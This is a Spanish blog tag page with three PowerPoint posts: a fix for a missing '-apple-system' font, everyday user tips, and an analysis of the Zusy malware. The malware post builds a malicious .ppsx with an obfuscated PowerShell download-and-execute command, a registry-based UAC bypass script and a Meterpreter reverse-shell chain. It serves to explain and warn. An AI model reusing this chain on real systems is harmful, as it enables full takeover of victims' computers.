Mostrando entradas con la etiqueta PowerPoint. Mostrar todas las entradas
Mostrando entradas con la etiqueta PowerPoint. Mostrar todas las entradas

miércoles, febrero 05, 2025

Error "-apple-system Font Not Available" en MS Power Point para MacOS

Hoy os vengo a contar una de esas cosas que me encuentro utilizando todos los días la tecnología, por si os ayuda en algún momento. Y sobre todo, por si has llegado aquí buscando la solución a un error que yo he tenido y he tenido que resolver previamente. En este caso el mensaje de error del título, que sabía por qué se había producido, pero que me costó localizar.

Figura 1: Error "-apple-system Font Not Available" en MS Power Point para MacOS

El mensaje de error "-apple-system Font Not Available" me salió en mi copiar de Microsoft Power Point para MacOS, por una supuesta fuente que había utilizado en una de las diapositivas y que me estaba impidiendo trabajar con normalidad.

Figura 2: Error "-apple-system Font Not Available"

Como me dejaba guardar la presentación, y la presentación no era para compartir o usar en un evento, sino para mí, tampoco me preocupó demasiado, pero en un momento quise exportarlo a PDF y entonces sí que tuve el problema.

Figura 3: La ausencia de la fuente te dificulta la exportación a PDF

Al intentar exportar con la ausencia de esa fuente, se ponía a buscar en Internet, y tardaba una eternidad, hasta que al final tenía que cancelar. No sé si con un time-out mayor al final hubiera sustituido la fuente por otra y listo, pero yo quería resolverlo y sabía por qué había sido.

Figura 4: Se queda "iddle" intentando exportar

El error de la "Font Not Available" se produce cuando copias de otra aplicación y pegas con el estilo original. Es decir, copias y pegas con normalidad, y eso genera automáticamente que se copie y pegue el estilo origen del objeto que estás copiando.

Figura 5: A cancelar y buscar el texto con la fuente not available

Para evitar eso, Microsoft Office tiene una opción desde innumerables versiones atrás en el menú de Paste Special, que es para pegar sin formato -> Unformatted Text, utilizando el formato del punto de destino del objeto, lo que te simplifica la vida, y evita que te pase justo esto.

Figura 6: Paste Special -> Unformatted Text en MS Office

Resolver el problema implicaba repasar todos los textos de la presentación hasta localizar el lugar en el que se encuentra esa fuente. Primero lo hice buscando todos los cuadros de texto, pero me volví loco y no lo conseguí encontrar manualmente. Después probé con las plantillas, y también me volví loco y no conseguí encontrar el texto con la fuente cambiada.

Una búsqueda binaria para acabar antes

Al final, como era MS PowerPoint utilicé una búsqueda logaritmica, en las diapositivas para tardar Log(n) en encontrar el error. Tan sencillo como eliminar la mitad de las diapositivas y probar a grabar. Si daba el error, la fuente maldita se encontraba en la mitad de diapositivas que quedaban, si no, en las que había quitado.

Figura 7: Texto con fuente Calibri (que sí está en el sistema)

Después de eso, volvía a pegar y cortaba la mitad de la mitad donde estaba el error, hasta que localicé la puñetera diapositiva que tenía el texto con la fuente maldita que me estaba dando el maldito error que me estaba ganando la partida.

Figura 8: El número 173 con fuente -apple-system

Al final, lo localicé, y se trataba sólo de un número. Un número que había copiado de una página web de Google Chrome en el que el programador no ha elegido ninguna fuente en los estilos CSS, así que por defecto se aplica -apple-system, la fuente del sistema, que Google Chrome interpreta perfectamente como la de por defecto, pero que no existe como tal en Microsoft Office Power Point.

Figura 9: En el CSS de la Web no se definía fuente.

Al final lo resolví, hice el PDF, y lo pude arreglar, pero como me quitó mucho tiempo, hice las capturas para compartirlo por vosotros, que si alguno lo sufre alguna vez - como ya me pasó con el bug de UX de WhatsApp que a tanta gente le pasó -, podáis arreglarlo fácilmente. Y recordad, siempre Paste Special -> Unformatted Text.

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  


martes, septiembre 18, 2018

Unos (7) trucos de usuario que he aprendido este verano

Muchas veces algunas personas piensan que por saber hacer cosas de seguridad informática, ser CDO de Telefónica, o haber estudiado la carrera de Ingeniería Informática, se sabe todo. Ni mucho menos. Cada día es un camino de aprendizaje. A veces de cosas grandes, otras de cosas pequeñitas que luego se meten en tu vida sin saberlo. Durante este verano he aprendido una serie de cosas - algunas incluso de mis hijas - que tienen que ver con usar las cosas y las he ido recopilando.

Figura 1: Unos (7) trucos de usuario que he aprendido este verano

Si lo sabías, podrás decir eso de "¿Y no sabías eso?", pero si no sabías alguna de ellas y te viene bien, me sentiré feliz, porque a mí me han ayudado estas pequeñas cosas. No esperes hacks, o cosas difíciles. Son más bien "features" que no son tan fáciles de encontrar -  como aquella que os conté de Recuperar dispositivos de audio en Windows Vista y Windows de Pedro Laguna - 

1.- El laser y el lápiz del Power Point

Llevo muchos años usando PowerPoint en las presentaciones, y concentrar la atención de los usuarios sobre lo que ven en pantalla es fundamental. Cuando usaba Windows era usuario de Zoomit para ampliar la pantalla y señalar cosas. Desde que tengo el Mac no lo uso, y hago zoom con el gesto de los dos dedos en el Touchpad en la pantalla, aunque no siempre puedo hacer zoom en la presentación. 

Figura 2: Sacar el puntero láser, elegir su color y sacar el lápiz a pintar. 

Lo que sí que aprendí es que puedes poner la pantalla en Blanco o en Negro usando las letras W o B cuando estás en modo presentación. Algo útil cuando quieres captar la atención de la gente. Todas esas opciones están en el menú que sale abajo a la izquierda cuando estás en "Modo Presentación". Entre las opciones está usar un puntero láser y elegir su color. Además, puedes sacar el lápiz y pintar. Algo que había visto en alguna presentación pero que siempre pensé que era de una herramienta externa - similar a ZoomiT -.

2.- Descargar vídeos y fotos de Instagram

Esta me la contaron este verano - ¡gracias Andrea! - y tiene que ver con la manera más fácil y cómoda de descargar vídeos y fotos de Instagram sin utilizar ningún plugin o hacerlo manualmente que es un poco rollo. 

Figura 3: Guardar fotos y vídeos de Instagram usando Telegram

Para ello basta con que copies la URL en Telegram (en una conversación contigo mismo), y después la abres. Verás que aparece la opción de Guardar en el equipo. Fácil, fácil. No, no la conocía.

3.- Elegir la mejor foto en modo "Ráfaga"

El modo ráfaga de iPhone siempre me pareció un rollo hasta que mi Hacker me explicó cómo funciona y para qué es. Se trata de que pongas la cámara en modo foto y después dejes el botón de lanzar la foto pulsado durante unos segundos.

Figura 4: Fotos en modo ráfaga

Esto hace que se grabe en modo ráfaga y se hagan muchas fotos seguidas mientras pulsas el botón. Después se da a la opción de Select y aparecerán todas las fotos de la Ráfaga. Seleccionas las que te gusten para el Instagram y borras las demás. Easy.

4.- Las búsquedas dentro del chat de WhatsApp

No soy muy usuario de WhatsApp, pero tengo un grupo de amigos en el que "amonesto" al que manda un memé sobre comida o cachondeo repetido. A veces necesito buscar, y la opción no es tan clara. Un día pasé un rato buscando cómo se hacía y hay que entrar dentro del grupo.

Figura 5: Buscar dentro de un chat de WhatsApp

Y aparece la opción. Después, cuando la activas sale justo donde debería estar siempre. Pero no, hay que activarlo. Muy sencilla cuando la conoces, pero creo que en iPhone sería más cómoda si apareciera cuando "tiras" hacia abajo.

5.- Buscar fotos usando en iOS usando AI

La IA está en todos los rincones de nuestra vida y en iOS se utilizan los servicios de Artificial Vision para reconocer objetos en fotografías. Si entras al carrete y buscas por "cosas" aparecerán las fotos que contengan esos objetos.

Figura 6: Fotos buscadas con el objeto Car en iPhone

La opción está en buscar en la opción de fotos, y una vez que buscas un objeto puede que acierte o que o acierte mucho. Depende de lo que busques. Pero mola.

6.- Cambiar el modo de los mapas en Google Maps

Esta opción me tenía loco, y no la encontraba. Uso Google Maps cuando hago rutas, y me gusta que los mapas estén en la dirección de la marcha y no en la dirección Norte. Estas opción de configurar es muy fácil si sabes dónde está. 

Figura 7: Ruta en Google Maps en modo "Norte". Haz clic en la brújula y cambia el modo.

Pues está en la brújula. Hay que pinchar sobre la brújula para cambiar el sentido de la ruta. Cuando lo descubrí este verano me dio mucha tranquilidad. Que me tenía negro cuando se me ponía - sin querer  - en modo Norte.

7.- El preview tooltip de WhatsApp desde la app de escritorio

Este corrió por Internet este verano, pero yo tampoco lo conocía. Se trata de aprovechar el preview del último mensaje en el Tooltip que sale en la app de escritorio de WhatsApp.

Figura 8: Basta con que dejes el ratón encima del grupo en la app de WhatsApp Desktop

Como se puede ver, no importa si el tamaño es muy grande o muy pequeño. En el menú de contexto sale todo y así no se notifica el doble-check azul de que has leído el mensaje. Para los paranoicos. Yo la verdad es que no lo uso, pero me pareció curioso.

Tengo algunos más en la lista de estas cosas que voy aprendiendo y me sorprendo, pero como el post ya quedado muy largo, me los guardo para otro día. De momento os dejo estos.

Saludos Malignos!

sábado, junio 17, 2017

Zusy: Cómo un PowerPoint entrega tu Windows a un atacante malo

Hace unos días se hacía pública la aparición de un malware denominado “Zusy”, que se introduce en los equipos utilizando como vector de entrada un archivo en formato Microsoft PowerPoint. Una de las peculiaridades de este malware respecto a otros que se han encontrado en el pasado, es que su ejecución no depende de que el usuario active las macros - muy populares hasta hoy -, sino que utiliza una característica propia de PowerPoint que permite la ejecución de programas externos. En este artículo vamos a analizar el método de entrada utilizado por este malware, y las posibles consecuencias que puede tener en el equipo de una víctima.

Figura 1: Zusy: Cómo un PowerPoint entrega tu Windows a un atacante malo

Todo comienza con un simple archivo PowerPoint que, cuando es ejecutado por el usuario, muestra la siguiente diapositiva:

Figura 2: Diapositiva de gancho para capturar el movimiento del ratón

Cuando el usuario pasa el ratón por encima del hipervínculo, PowerPoint muestra el siguiente mensaje:

Figura 3: Warning de MS PowerPoint por la ejecución de programas externos

Éste es el punto crítico, donde Microsoft PowerPoint nos avisa de que se ha bloqueado la ejecución de un programa externo y nos da la posibilidad de habilitarla. Si el usuario lo habilita, PowerPoint ejecuta una Powershell que hace de "dropper" y descarga el malware en el equipo y lo ejecuta, al estilo del PsBot de nuestro compañero Pablo González.

Esto, que a priori puede parecer un tanto enrevesado, tiene un fundamento técnico bastante sencillo. ¡Vamos con ello! En esta sección vamos a ir analizando poco a poco el funcionamiento del malware Zusy, y nos construiremos nuestra propia presentación en PowerPoint maliciosa, con el mismo comportamiento.

Construyendo tu propio Zusy

Para comenzar tenemos que entender la capacidad que tiene PowerPoint para ejecutar programas externos. Como hemos visto anteriormente, cuando pasamos el ratón por encima del hipervínculo nos aparece un cuadro de dialogo que nos indica que se está intentando ejecutar un programa externo. Si buscamos en la documentación oficial de Microsoft que la herramienta da la posibilidad de ejecutar un programa durante una presentación en PowerPoint, por lo que vamos a añadir una Powershell con la opción de que se lance al pasar el ratón por encima.

Figura 4: Ejecución de Powershell al mover el ratón por encima

Una vez añadido, guardamos nuestra presentación como fichero .ppsx y lo probamos. Cuando pasamos el ratón por encima, podemos ver como aparece el cuadro de dialogo que indicábamos anteriormente sobre la ejecución de programas externos, si lo habilitamos, se abre una consola Powershell.

Figura 5: Código del hipervínculo para ejecutar el programa en slide1.xml

Al analizar el código de los ficheros OOXML, que son en formato XML, podemos ver qué es lo que PowerPoint ha añadido en el código de la "Slide1" para habilitar la ejecución del programa. Como sabéis, es tan sencillo como extraer el contenido del archivo .ppsx con un descompresor tipo ZIP.

Figura 6: En slide1.xml.rels está el target que se va a abrir

En slide1.xml.rels encontramos la ruta del programa que se está ejecutando, vamos a comprobar, si además de ejecutar programas, ejecuta también los argumentos que le proporcionemos, para ello modificamos slide1.xml.rels de la siguiente manera:

Figura 7: Añadir parámetros de ejecución al hipervínculo manualmente

Si abrimos la presentación y pasamos el ratón sobre el enlace, podemos comprobar como ahora se abre una calculadora. Con lo cual si se pueden ejecutar argumentos con los programas.

Figura 8: Ahora se ejecutaría la calculadora

Una vez tenemos identificado el método principal con el que el malware ejecuta programas a través de un archivo PowerPoint, vamos a ver, a través de una prueba de concepto, porque esto puede ser peligroso para los usuarios.

Prueba de concepto

Con la técnica que hemos visto anteriormente, vamos a insertar el siguiente comando en el fichero slide1.xml.rels de nuestra presentación maliciosa en formato PowerPoint:
Target="powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22IEX%20(New-Object%20System.Net.WebClient).DownloadString(%27https%3A%27%2B%5Bchar%5D%200x2F%2B%5Bchar%5D%200x2F%2B%27goo.gl%27%2B%5Bchar%5D%200x2F%2B%27r9L7vv%27)"
Que es la representación en formato URLEncode de:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadString('https:'+[char] 0x2F+[char] 0x2F+'dominio'+[char] 0x2F+'recurso')
Este comando lo que hace es ejecutar Powershell, que a su vez hace una petición a una dirección determinada para descargar un archivo y posteriormente ejecutarlo sin llegar a guardarlo en disco. Como podemos ver en la figura anterior, la URL se forma sustituyendo el carácter “/” por “[char] 0x2F”. Esta es una forma de “ofuscar” la dirección, de tal manera que PowerPoint no tome ninguna medida de seguridad y la procese correctamente.  Si se pone la dirección URL sin esto, veremos como no es posible ejecutar la petición.

Una vez tenemos el comando insertado en el archivo PowerPoint, nos falta decidir qué fichero descargaremos del servidor remoto y ejecutaremos. En este caso, para que el nivel de compromiso sea el mayor posible, descargaremos un archivo que ejecutará una serie de sentencias similares a las siguientes:
$registryPath = "HKCU:\Software\Classes\exefile\shell\runas\command"
$name = "IsolatedCommand"
$value = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C `"IEX (New-Object Net.WebClient).DownloadString('url_meterpreter)`""
New-ItemProperty -Path $registryPath
` -Name $name `
-Value $value `
-PropertyType ExpandString
` -Force | Out-Null
Este código inserta en el registro de Windows un valor determinado, en este caso una nueva petición para descargar y ejecutar un archivo desde un servidor remoto. Esto lo hacemos para utilizar la técnica de fileless UAC bypass que hemos explicado en artículos anteriores, para elevar privilegios.

Cuando el binario que hace el UAC bypass se ejecute, llamará a Powershell con los argumentos necesarios para que haga una petición al servidor remoto y descargue y ejecute un payload con un Meterpreter, esta vez con privilegios de administración. Tras esto, la máquina del atacante recibirá una conexión reversa desde la de la víctima. Veamos todo el proceso resumido y esquematizado:

Figura 9: Esquema del PoC que se realiza
1. El usuario ejecuta el fichero PowerPoint malicioso. 
2. El fichero PowerPoint ejecuta Powershell con una serie de argumentos que realizan una llamada a un servidor para descargar y ejecutar un fichero sin privilegios de administración. 
3. El fichero descargado y ejecutado, realiza cambios en el registro de la víctima para realizar un UAC bypass, a continuación, ejecuta el binario vulnerable a dicho bypass. 
4. Debido a que la rama del registro ha sido envenenada, el binario ejecutado llama a Powershell con una serie de argumentos que realizan otra petición al servidor y descargan otro fichero para ejecutarlo, ¡esta vez como administrador! 
5. El fichero ejecutado contiene un payload que realiza una conexión reversa a la máquina del atacante. 
6. El atacante tiene acceso completo a la máquina de la víctima con máximos privilegios.
Figura 10: PoC de Cómo obtener una sesión Meterpreter desde un PowerPoint

Como podemos observar, la diferencia entre que tu maquina sea comprometida totalmente y no lo sea, está en pulsar el botón de habilitar en el aviso que te muestra PowerPoint, una aplicación que a priori es bastante confiable. Por eso se debe estar siempre muy atento a la hora de abrir o ejecutar los archivos que nos envíen y leer detenidamente los avisos de seguridad antes de aceptarlos.

Autor: Santiago Hernández Ramos, cybersecurity researcher en ElevenPaths

Entrada destacada

+300 referencias a papers, posts y talks de Hacking & Security con Inteligencia Artificial

Hace un mes comencé a recuperar en un post mi interés en los últimos años, donde he publicado muchos artículos en este blog , y he dejado mu...

Entradas populares